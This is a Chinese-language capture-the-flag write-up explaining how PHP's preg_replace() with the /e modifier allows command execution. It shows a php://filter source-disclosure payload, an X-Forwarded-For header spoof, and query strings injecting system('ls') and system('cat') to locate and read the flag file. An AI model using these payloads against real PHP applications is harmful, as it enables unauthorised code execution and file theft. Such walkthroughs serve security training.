漏洞成因:preg_replace()函数的功能为替换正则匹配的字符

Eg:

$slug = preg_replace('/[^a-z0-9-]/', '', $string);

正则替换,把$string中所有非小写字母或数字的字符给替换成空'',
就是删除非小写字母或数字的其他字符。

漏洞:

有一个/e模式加一个/e会造成任意命令执行

题目:

 preg_replace()特殊匹配模式造成命令执行_3c

 

 

打开之后,打开设备维护中心:

发现点击云平台设备维护中心几个字url会发生变化

 preg_replace()特殊匹配模式造成命令执行_传递参数_02

 

 

会将传入的参数显示出来,这里可以使用伪协议进行读取源代码:
payload为

Php://filter/read=convert.base64-encode/resource=index.php

得到index.php的源代码有了代码泄露,进行代码审计

 preg_replace()特殊匹配模式造成命令执行_php_03

 

 

关键代码(存在漏洞的地方为)

 preg_replace()特殊匹配模式造成命令执行_传递参数_04

 

 

首先要加一个X_Forwaeded_For:127.0.0.1进行匹配进入preg_replace()函数

然后传递参数

?pat=/(.*)/e&rep= system(‘ls’)&sub=test

得到

 

 

 preg_replace()特殊匹配模式造成命令执行_正则匹配_05

 

 

然后得到文件路径

再进入?pat=/(.*)/e&rep= system(‘ls+s3chahahaDir’)&sub=test

发现flag文件夹

?pat=/(.*)/e&rep= system(‘ls+s3chahahaDir/falg’)&sub=test

发现flag.php

之后用cat 指令读取

?pat=/(.*)/e&rep= system(‘cat+s3chahahaDir/falg/flag.php’)&sub=test

得到flag

 preg_replace()特殊匹配模式造成命令执行_代码审计_06